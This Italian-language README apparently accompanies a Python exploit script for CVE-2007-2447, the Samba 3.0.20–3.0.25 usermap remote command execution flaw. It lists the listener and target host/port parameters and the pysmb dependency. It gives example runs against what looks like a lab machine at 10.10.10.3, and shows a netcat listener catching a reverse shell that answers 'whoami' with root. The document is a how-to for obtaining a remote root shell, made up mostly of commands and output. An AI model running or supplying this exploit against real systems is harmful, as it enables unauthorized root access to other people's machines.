Questo exploit ti aiuta a ottenere una reverse shell, sfruttando Samba 3.0.20 < 3.0.25

· Quando si esegue lo script con python3 con il parametro --help, ci viene chiesta una serie di parametri

 --lhost LHOST  il tuo host   (ip dove verrà ricevuta la shell)
 --lport LPORT  la tua porta   (porta dove verrà ricevuta la shell)
 --rhost RHOST  host remoto  (ip della macchina vittima)
 --rport RPORT  porta remota  (porta della macchina vittima)

· Prima di eseguire lo script fai questo

pip3 install pysmb

· Esempio

python3 samba_usermap.py --lhost 10.10.14.12 --lport 443 --rhost 10.10.10.3 --rport 139

· Oppure puoi fare

python3 samba_usermap.py --lh 10.10.14.12 --lp 443 --rh 10.10.10.3 --rp 139

· Esempio di come funziona lo script

python3 samba_usermap.py --lhost 10.10.14.12 --lport 443 --rhost 10.10.10.3 --rport 139

· Riceviamo la shell

❯ nc -nlvp 443
  listening on [any] 443 ...
  connect to [10.10.14.12] from (UNKNOWN) [10.10.10.3] 57498
  whoami
  root

CVE-2007-2447-RCE

Più Popolari